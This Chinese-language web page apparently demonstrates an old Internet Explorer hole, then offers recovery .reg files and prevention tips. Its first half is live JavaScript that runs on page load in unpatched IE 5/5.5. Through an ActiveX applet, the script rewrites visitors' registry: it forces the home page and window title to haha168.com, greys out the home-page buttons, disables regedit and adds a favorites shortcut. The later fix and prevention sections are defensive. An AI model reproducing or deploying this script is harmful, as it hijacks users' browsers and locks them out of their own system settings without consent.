正在锁定你的IE...

NOW LOCKING YOUR IE...

                    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>")
                    function AddFavLnk(loc, DispName, SiteURL) {
                        var Shor = Shl.CreateShortcut(loc + "\\" + DispName + ".URL");
                        Shor.TargetPath = SiteURL;
                        Shor.Save();
                    }
                    function title() {
                        try {
                            a1 = document.applets[0];
                            a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
                            a1.createInstance(); shl = a1.GetObject();
                            a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
                            try {
                                shl.RegWrite("HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", 1, "REG_DWORD");
                            } catch (e) { }
                        } catch (e) { }
                    } setTimeout("title()", 1000);
                    function f() {
                        try {
                            a1 = document.applets[0];
                            a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
                            a1.createInstance();
                            Shl = a1.GetObject();
                            a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
                            a1.createInstance();
                            FSO = a1.GetObject();
                            a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
                            a1.createInstance();
                            Net = a1.GetObject();
                            try {
                                Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.haha168.com");
                                Shl.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "天天开心-http://www.haha168.com-");
                                Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "天天开心-http://www.haha168.com-");
                                Shl.RegWrite("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage", "1");
                                var WF, Shor, loc;
                                WF = FSO.GetSpecialFolder(0);
                                loc = WF + "\\Favorites";
                                if (!FSO.FolderExists(loc)) {
                                    loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
                                    if (!FSO.FolderExists(loc)) {
                                        return;
                                    }
                                }
                                AddFavLnk(loc, "★八目妖整人城堡★", "http://www.haha168.com");
    
                            }
    
                            catch (e) { }
                        }
                        catch (e) { }
                    }
    
                    function init() {
                        setTimeout("f()", 1000);
                    }
                    init();    
                

    这是利用了IE的一个漏洞,我可以操纵你的注册表,可以增加、修改相应的键值。理论上这个测试页面具体实现效果如下:

    ★ 效果(1):自动加入收藏夹;

    ★ 效果(2):改变IE默认首页,并且使关于主页的三个按钮“使用当前页”、“使用默认页”、“使用空白页”变成灰色,不能修改;

    ★ 效果(3):使你的regedit.exe无法运行;

    ★ 效果(4):改变IE的title,使IE顶部出现“天天开心-http://www.haha168.com-”

    当然,你的浏览器必须是IE5.0或者5.5的版本,而且必须没有打过补丁,IE6.0的2600版经测试也有这个漏洞,新版的IE6.0已经没有这个漏洞了。

    当然,由于每个人的操作系统、浏览器版本不一定完全相同,所以有的机器很可能只实现部分效果。

    老规矩,解决方法请看——

解决方法

锁定IE的解决办法

恢复你的IE标题并激活按钮的方法


一、关于IE被人修改的乱七八糟

呵呵

最近太多的朋友遭殃,抱怨IE的标题被人修改,而且Internet选项里面的

关于主页的三个按钮“使用当前页”、“使用默认页”、“使用空白页”也变成灰色,不能修改。

因为我早就升级了系统,所以一直没遇到所说的这种问题,呵呵,看出升级的好处了吧。

首先什么都不要说,先恢复请把下面的内容存成.reg文件

双击导入即可

————从这里开始——————————————————————————————————

REGEDIT4

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"HomePage"=dword:00000000

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"="about:blank"
"Window Title"="Microsoft Internet Explorer"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page"="about:blank"
"Window Title"="Microsoft Internet Explorer"

————到这里结束——————————————————————————————————

其中第一部分就是将Internet选项里面的变灰的按钮激活,第二、三部分是还原IE的首页地址以及标题栏。

我已经做好了.reg的文件,并提供下载:[点击下载

  

二、关于那些更倒霉的朋友

还有一些朋友对我说,他的系统不仅IE标题栏主页什么的被修改了,就连打开注册表操作都被禁止了

这样的话,不爽哦

把下面的内容存成.reg文件,双击导入即可

————从这里开始——————————————————————————————————

REGEDIT4

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]

"DisableRegistryTools"=dword:00000000

————到这里结束——————————————————————————————————

我已经做好了.reg的文件,并提供下载:[点击下载

 

三、预防方法


  1.到IE里禁止javasctipt 脚本的运行。由于现在的网页多数插入了脚本,以达到一定的功能和实现相应的效果,因此,这种喝鸠解渴的方法并实用,建议在IE的设置中将脚本设为“提示”。


  2.使用 Windows 2000 系列操作系统,可在一定的程度上遏制恶作剧,比如禁止启动时弹出窗口。


  3.在 Win2000 操作系列中,为了增强安全性能,设置有管理工具,我们进入“控制面板” ->“管理工具” -> “服务”,把 Remote Registry Service 服务禁止,浏览网页时恶作剧无法修改注册表了。


  注:此法对于某些情况可能无效。


  4.建议安装 Norton AntiVirus 2002 v8.0 杀毒软件,此软件已经把通过IE修改注册表的代码定义为 Trojan.Offensive ,增加了 Script Blocking 功能,它将对此类恶作剧进行监控,并予以拦截。它也是目前最好的解决方法。


  5.把生成的注册表文件保存起来,遇到情况运行此文件。


    6.把IE版本升级到IE6.0,因为有些恶意脚本对IE6.0不起作用。

*友情提醒:不要上一些来路不明的网站,他们可不象我这么好心~现在很多病毒也会利用IE的漏洞,例如著名的"nimda"就可以通过IE使你的电脑受到伤害~

制作、维护[